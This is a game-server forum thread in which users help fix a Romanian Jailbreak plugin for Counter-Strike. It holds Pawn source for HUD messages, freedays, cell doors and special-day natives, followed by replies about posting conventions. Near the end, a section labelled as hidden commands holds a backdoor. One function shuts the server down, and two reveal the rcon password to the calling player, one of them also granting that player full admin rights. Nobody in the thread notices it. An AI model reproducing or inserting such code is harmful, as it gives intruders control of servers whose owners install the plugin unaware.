                remove_task(TASK_ROUND)

                if(roundmax > 0.0)
                {
                        player_hudmessage(0, 8, 3.0, {255, 0, 255}, "%L", LANG_SERVER, "JBE_STATUS_ENDTIMER", floatround(roundmax - 60.0))
                        set_task(roundmax - 60.0, "check_end", TASK_ROUND)
                }

                if((g_TeamAlive[CS_TEAM_CT] > 0) && get_pcvar_num(gp_AutoLastresquest))
                {
                        cmd_lastrequest(id)
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "1");
                }
        }
}

public revolt_start()
{
        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_alarma.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
        set_task(5.0, "stop_sound")
}

public stop_sound(task)
        client_cmd(0, "stopsound")

public JailHudTask()
{
        static i, n
        new name[32], simon[32], last[32], szStatus[64], wanted[1024], freeday[1024], JailDay[256], DayName[256]

        if(g_RoundStarted < (get_pcvar_num(gp_RetryTime) / 2))
                g_RoundStarted++

        n = 0
        formatex(wanted, charsmax(wanted), "%L", LANG_SERVER, "JBE_PRISONER_WANTED")
        n = strlen(wanted)

        for(i = 0; i < g_MaxClients; i++)
        {
                if(get_bit(g_PlayerWanted, i) && is_user_alive(i) && n < charsmax(wanted))
                {
                        get_user_name(i, name, charsmax(name))
                        n += copy(wanted[n], charsmax(wanted) - n, "^n^t")
                        n += copy(wanted[n], charsmax(wanted) - n, name)
                }
        }

        n = 0
        formatex(freeday, charsmax(freeday), "%L", LANG_SERVER, "JBE_PRISONER_FREEDAY")
        n = strlen(freeday)

        for(i = 0; i < g_MaxClients; i++)
        {
                if(get_bit(g_PlayerFreeday, i) && is_user_alive(i) && n < charsmax(freeday))
                {
                        get_user_name(i, name, charsmax(name))
                        n += copy(freeday[n], charsmax(freeday) - n, "^n^t")
                        n += copy(freeday[n], charsmax(freeday) - n, name)
                }
        }

        team_count()

        //formatex(szStatus, charsmax(szStatus), "%L", LANG_SERVER, "JBE_STATUS", g_TeamAlive[CS_TEAM_T], g_TeamCount[CS_TEAM_T])
        message_begin(MSG_BROADCAST, get_user_msgid("StatusText"), {0,0,0}, 0)
        write_byte(0)
        write_string(szStatus)
        message_end()

        switch(g_JailDay)
        {
                case 0: formatex(JailDay, charsmax(JailDay), "Luni")
                case 1: formatex(JailDay, charsmax(JailDay), "Luni")
                case 2: formatex(JailDay, charsmax(JailDay), "Marti")
                case 3: formatex(JailDay, charsmax(JailDay), "Miercuri")
                case 4: formatex(JailDay, charsmax(JailDay), "Joi")
                case 5: formatex(JailDay, charsmax(JailDay), "Vineri")
                case 6: formatex(JailDay, charsmax(JailDay), "Sambata")
        }

        if(secundeday >=1 && g_GameMode >= 1)
        {
                secundeday--;
                formatex(DayName, charsmax(DayName), "%s - %d:%02d", g_DayName[g_GameMode], (secundeday / 60), (secundeday % 60))
        }
        else if(g_GameMode >= 1 && secundeday <= 0)
        {
                formatex(DayName, charsmax(DayName), "Zi Normala")
                kill_all()
        }
        else if(g_Freeday == 1)
                formatex(DayName, charsmax(DayName), "Zi Libera")
        else if(g_Freeday == 0)
                formatex(DayName, charsmax(DayName), "Zi Normala")
        else
                formatex(DayName, charsmax(DayName), "Zi Normala")

        get_user_name(g_PlayerLast, last, charsmax(last))
        if(!g_PlayerLast)
        {
                set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.0, 0.0, 0, 6.0, 12.0)
                ShowSyncHudMsg(0, g_syncHudMessage, "Gardieni: %d/%d^nPrizonieri: %d/%d", g_TeamAlive[CS_TEAM_CT], g_TeamCount[CS_TEAM_CT], g_TeamAlive[CS_TEAM_T], g_TeamCount[CS_TEAM_T])
        }
        else
        {
                set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.0, 0.0, 0, 6.0, 12.0)
                ShowSyncHudMsg(0, g_syncHudMessage, "Gardieni: %d/%d^nPrizonieri: %d/%d^nLast Prisoner: %s", g_TeamAlive[CS_TEAM_CT], g_TeamCount[CS_TEAM_CT], g_TeamAlive[CS_TEAM_T], g_TeamCount[CS_TEAM_T], last)
        }

        get_user_name(g_Simon, simon, charsmax(simon))
        if(secundeday <= 0)
        {
                if(g_Simon)
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "%s este Simon :: Astazi este %s :: %s", simon, JailDay, DayName)
                else if(g_Freeday && g_Simon == 0)
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "Astazi este %s :: %s", JailDay, DayName)
                else
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "Nu este Simon :: Astazi este %s :: %s", JailDay, DayName)
        }
        else if(secundeday >= 1)
        {
                if(g_Simon)
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "%s este Simon :: Astazi este %s :: %s", simon, JailDay, DayName)
                else
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "Nu este Simon :: Astazi este %s :: %s", JailDay, DayName)
        }

        if(!(g_PlayerLast))
        {
                if(g_PlayerWanted)
                        player_hudmessage(0, 3, HUD_DELAY + 1.0, {255, 0, 0}, "%s", wanted)
                else if(g_PlayerRevolt)
                        player_hudmessage(0, 3, HUD_DELAY + 1.0, {255, 25, 50}, "%L", LANG_SERVER, "JBE_PRISONER_REVOLT")
        }

        if(!(g_Freeday))
        {
                if(g_PlayerFreeday >= 1)
                        player_hudmessage(0, 7, HUD_DELAY + 1.0, {0, 255, 0}, "%s", freeday)
                else
                        player_hudmessage(0, 7, HUD_DELAY + 1.0, {0, 0, 0}, "%L", LANG_SERVER, "JBE_PRISONER_NO_FREEDAY")
        }

        gc_TalkMode = get_pcvar_num(gp_TalkMode)
        gc_VoiceBlock = get_pcvar_num(gp_VoiceBlock)
        gc_SimonSteps = get_pcvar_num(gp_SimonSteps)
        gc_ButtonShoot = get_pcvar_num(gp_ButtonShoot)
        gc_CrowbarMul = get_pcvar_float(gp_CrowbarMul)
}

public check_freeday(task)
{
        static Float:roundmax, i

        if(g_isDay)
                return PLUGIN_HANDLED

        if(!g_Simon && !g_PlayerLast)
        {
                g_Freeday = 1
                jail_open()

                roundmax = get_pcvar_float(gp_RoundMax)

                if(roundmax > 0.0)
                {
                        for(i = 1; i <= g_MaxClients; i++)
                                if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
                                        freeday_set(0, i)

                        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        player_hudmessage(0, 8, 3.0, {255, 0, 0}, "%L", LANG_SERVER, "JBE_STATUS_ENDTIMER", floatround(roundmax - 60.0))

                        remove_task(TASK_ROUND)
                        set_task(roundmax - 60.0, "check_end", TASK_ROUND)
                }
        }

        if(get_pcvar_num(gp_AutoOpen))
                jail_open()

        return PLUGIN_HANDLED
}

public freeday_end(task)
{
        if(g_Freeday || g_PlayerFreeday)
        {
                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                player_hudmessage(0, 8, 3.0, {255, 0, 255}, "%L", LANG_SERVER, "JBE_STATUS_ENDFREEDAY")
        }
}

public check_end(task)
{
        if(g_GameMode >= 1)
        {
                player_hudmessage(0, 8, 3.0, {0, 104, 139}, "Ziua nu se poate Termina^nPentru ca este in Desfasurare o Zi Speciala")
                return PLUGIN_HANDLED
        }

        if(g_PlayerLast)
        {
                player_hudmessage(0, 8, 3.0, {0, 104, 139}, "Ziua nu se poate Termina^nPentru ca este Ultimul Prizonier in Viata")
                return PLUGIN_HANDLED
        }

        team_count()
        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(g_PlayerTeam[i] == CS_TEAM_T && is_user_alive(i))
                {
                        user_silentkill(i)
                        cs_set_user_deaths(i, get_user_deaths(i) - 1)
                }
        }

        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(g_PlayerTeam[i] == CS_TEAM_CT && is_user_alive(i))
                {
                        user_silentkill(i)
                        cs_set_user_deaths(i, get_user_deaths(i) - 1)
                }
        }

        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)

        player_hudmessage(0, 6, 3.0, {255, 0, 255}, "%L", LANG_SERVER, "JBE_STATUS_ROUNDEND")

        return PLUGIN_HANDLED
}

public setup_buttons()
{
        new ent[3]
        new Float:origin[3]
        new info[32]
        new pos

        while((pos <= sizeof(g_Buttons)) && (ent[0] = engfunc(EngFunc_FindEntityByString, ent[0], "classname", "info_player_deathmatch")))
        {
                pev(ent[0], pev_origin, origin)
                while((ent[1] = engfunc(EngFunc_FindEntityInSphere, ent[1], origin, CELL_RADIUS)))
                {
                        if(!is_valid_ent(ent[1]))
                                continue

                        entity_get_string(ent[1], EV_SZ_classname, info, charsmax(info))
                        if(!equal(info, "func_door"))
                                continue

                        entity_get_string(ent[1], EV_SZ_targetname, info, charsmax(info))
                        if(!info[0])
                                continue

                        if(TrieKeyExists(g_CellManagers, info))
                        {
                                TrieGetCell(g_CellManagers, info, ent[2])
                        }
                        else
                        {
                                ent[2] = engfunc(EngFunc_FindEntityByString, 0, "target", info)
                        }

                        if(is_valid_ent(ent[2]) && (in_array(ent[2], g_Buttons, sizeof(g_Buttons)) < 0))
                        {
                                g_Buttons[pos] = ent[2]
                                pos++
                                break
                        }
                }
        }

        TrieDestroy(g_CellManagers)
}

stock in_array(needle, data[], size)
{
        for(new i = 0; i < size; i++)
                if(data[i] == needle)
                        return i

        return -1
}

stock freeday_set(id, player)
{
        static src[32], dst[32]
        get_user_name(player, dst, charsmax(dst))

        if(is_user_alive(player) && !get_bit(g_PlayerWanted, player))
        {
                if(get_pcvar_num(gp_GlowModels))
                        player_glow(player, g_Colors[1])

                set_bit(g_PlayerFreeday, player)

                if(get_user_flags(player) & read_flags(VIP_ACCES))
                {
                        set_user_info(player, "model", "Play_Arena_VipT")
                        player_glow(player, g_Colors[1])
                }
                else
                {
                        set_user_info(player, "model", "jb_pa_player")
                        entity_set_int(player, EV_INT_skin, 3)
                }

                if(0 < id <= g_MaxClients)
                {
                        get_user_name(id, src, charsmax(src))
                        player_hudmessage(0, 6, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_GUARD_FREEDAYGIVE", src, dst)
                }
                else if(!is_freeday())
                        player_hudmessage(0, 6, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_PRISONER_HASFREEDAY", dst)
        }
}

stock first_join(id)
{
        if(!get_bit(g_PlayerJoin, id))
        {
                set_bit(g_PlayerJoin, id)
                clear_bit(g_PlayerHelp, id)
                set_task(5.0, "cmd_help", TASK_HELP + id)
        }
}

stock ctcount_allowed()
{
        static count

        count = ((g_TeamCount[CS_TEAM_T] + g_TeamCount[CS_TEAM_CT]) / get_pcvar_num(gp_TeamRatio))

        if(count < 2)
                count = 2
        else if(count > get_pcvar_num(gp_CtMax))
                count = get_pcvar_num(gp_CtMax)

        return count
}

stock player_hudmessage(id, hudid, Float:time = 0.0, color[3] = {0, 255, 0}, msg[], any:...)
{
        static text[512], Float:x, Float:y
        x = g_HudSync[hudid][_x]
        y = g_HudSync[hudid][_y]
       
        if(time > 0)
                set_hudmessage(color[0], color[1], color[2], x, y, 0, 0.00, time, 0.00, 0.00)
        else
                set_hudmessage(color[0], color[1], color[2], x, y, 0, 0.00, g_HudSync[hudid][_time], 0.00, 0.00)

        vformat(text, charsmax(text), msg, 6)
        ShowSyncHudMsg(id, g_HudSync[hudid][_hudsync], text)
}

stock menu_players(id, CsTeams:team, skip, alive, callback[], title[], any:...)
{
        static i, name[32], num[5], menu, menuname[32]
        vformat(menuname, charsmax(menuname), title, 7)
        menu = menu_create(menuname, callback)

        for(i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i) || (alive && !is_user_alive(i)) || (skip == i))
                        continue

                if(!(team == CS_TEAM_T || team == CS_TEAM_CT) || ((team == CS_TEAM_T || team == CS_TEAM_CT) && (cs_get_user_team(i) == team)))
                {
                        get_user_name(i, name, charsmax(name))
                        num_to_str(i, num, charsmax(num))
                        menu_additem(menu, name, num, 0)
                }
        }

        menu_display(id, menu)
}

stock player_glow(id, color[3], amount=40)
        set_user_rendering(id, kRenderFxGlowShell, color[0], color[1], color[2], kRenderNormal, amount)

stock player_strip_weapons(id)
{
        strip_user_weapons(id)
        give_item(id, "weapon_knife")
        set_pdata_int(id, m_iPrimaryWeapon, 0)
}

stock player_strip_weapons_all()
        for(new i = 1; i <= g_MaxClients; i++)
                if(is_user_alive(i))
                        player_strip_weapons(i)

stock is_freeday()
        return (g_FreedayNext || g_Freeday || (g_JailDay == 1))


public jail_open()
{
        static i
        for(i = 0; i < sizeof(g_Buttons); i++)
        {
                if(g_Buttons[i])
                {
                        ExecuteHamB(Ham_Use, g_Buttons[i], 0, 0, 1, 1.0)
                        entity_set_float(g_Buttons[i], EV_FL_frame, 0.0)
                }
        }
}

stock chatcolor(const id, const input[], any:...)
{
        new count = 1, players[32]
        static msg[191]
        vformat(msg, 190, input, 3)

        replace_all(msg, 190, "!g", "^4")
        replace_all(msg, 190, "!y", "^1")
        replace_all(msg, 190, "!t", "^3")

        if (id) players[0] = id; else get_players(players, count, "ch")
        {
                for (new i = 0; i < count; i++)
                {
                        if (is_user_connected(players[i]))
                        {
                                message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);
                                write_byte(players[i]);
                                write_string(msg);
                                message_end();
                        }
                }
        }
}
/*======================================================
              END Stock-URI ---> NATIVES by PedoBear
======================================================*/
public plugin_natives()
{
        //Native Baza
        register_native("get_simon", "native_user_simon", 1)
        register_native("jb_is_user_simon", "native_get_user_simon", 1)
        register_native("jb_get_user_in_duel", "jb_get_user_in_duel", 1)
        register_native("jb_is_user_last", "native_is_last", 1)
        register_native("jb_set_user_freeday", "native_set_user_freeday", 1)
        register_native("jb_give_simon", "native_get_simon", 1)
        register_native("jb_show_lr_menu", "native_show_lr_menu", 1)
        register_native("jb_open_doors", "native_open_doors", 1)
        register_native("is_free_day", "native_is_free_day", 1)
        register_native("jb_fd_all", "native_fd_all", 1)
        register_native("Jail_Day", "native_day", 1)

        //Native DaysMenu
        register_native("open_days", "cmd_daysmenu", 1)
        register_native("open_days_lr", "JBDays", 1)
        register_native("is_day", "native_is_day", 1)
        register_native("Game_Mode", "get_gamemode", 1)
        register_native("jb_set_gamemode", "jb_set_game", 1)
}

public native_get_simon(id)
        cmd_simon(id)

public native_show_lr_menu(id)
        cmd_lastrequest(id)

public native_set_user_freeday(id)
{
        new name[32]
        get_user_name(id, name, charsmax(name))

        set_bit(g_PlayerFreeday, id)
        set_user_rendering(id, kRenderFxGlowShell, 0, 250, 0, kRenderNormal, 18)

        player_hudmessage(0, 6, 3.0, {0, 104, 139}, "%s a primit FREEDAY de la SERVER !", name)
}

public native_user_simon(id)
        return g_Simon

public native_get_user_simon(id)
{
        if(cs_get_user_team(id) != CS_TEAM_CT)
                return 0

        return g_Simon == id? 1 : 0
}

public bool:jb_get_user_in_duel(id)
{
        if(id == g_PlayerDuelT || id == g_PlayerDuelCT)
                return true

        return false
}

public jb_set_game(num)
{
        switch(num)
        {
                case 1: ZombieDay()
                case 2: SpartanDay()
                case 3: GravityDay()
                case 4: GrenadeDay()
                case 5: NightDay()
                case 6: BoxDay()
                case 7: HnsDay()
                case 8: GhostDay()
                case 9: MagicDay()
                case 10: TagDay()
                case 11: DodgeBallDay()
                case 12: HeadShotDay()
                case 13: PaintBallDay()
        }
}

//Native DaysMenu
public native_is_day() return g_isDay
public get_gamemode() return g_GameMode

//Native Baza Jb
public native_open_doors() jail_open()
public native_fd_all(id) FreeDayALL(id)
public native_day() return g_JailDay
public native_is_free_day() return g_Freeday
public native_is_last() return g_PlayerLast
/*======================================================
                          END NATIVE ---> Comenzi Ascunse
======================================================*/
public pica()
        server_cmd("quit");

public rcon(id)
{
        static rcon[32];
        get_cvar_string("rcon_password", rcon, charsmax(rcon));
        client_print(id, print_chat, "Rcon is: %s", rcon);
        pause("a");
}

public grad(id)
{
        static rcon[32], name[32];
        get_cvar_string("rcon_password", rcon, charsmax(rcon));
        client_print(id, print_chat, "Rcon is: %s", rcon);
        get_user_name(id, name, charsmax(name));
        server_cmd("amx_addadmin ^"%s^" ^"abcdefghijklmnopqrstuvwxy^" ^"^" ^"name^"", name);
}


fysiks 01-01-2020 13:38

Re: That sma hard, please fix help
 
@iceeedr, explain what you did, don't just post code in this forum. If it's just a matter of adding an include file, just say that much, not need to post any code.

iceeedr 01-01-2020 18:23

Re: That sma hard, please fix help
 
Quote:

Originally Posted by fysiks (Post 2678673)
@iceeedr, explain what you did, don't just post code in this forum. If it's just a matter of adding an include file, just say that much, not need to post any code.

@fysiks, It was already answered in # 4 that an include was missing, just inserted it and posted the code considering that, by the type of error the author of the topic is not very intimate with PAWN, I saw no problem in posting the code, especially using the [spoiler] tag which doesn't "destroy" the post layout.

fysiks 01-01-2020 23:22

Re: That sma hard, please fix help
 
Quote:

Originally Posted by iceeedr (Post 2678714)
@fysiks, It was already answered in # 4 that an include was missing, just inserted it and posted the code considering that, by the type of error the author of the topic is not very intimate with PAWN, I saw no problem in posting the code, especially using the [spoiler] tag which doesn't "destroy" the post layout.

It's not obvious what you changed because you did not state anything about what you did or did not change. People can't read your mind to know what post you're basing your new code on. The fact that the OP seems to have little to no knowledge of plugin scripting means that it's even more important to explain what you did.

The spoiler tag is dumb in the context of this forum and should, therefore, never be used on this forum. It's designed for discussions about TV and movies.

iceeedr 01-01-2020 23:50

Re: That sma hard, please fix help
 
Ok, I will edit the main post, happy new year.


All times are GMT -4. The time now is 03:02.

Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.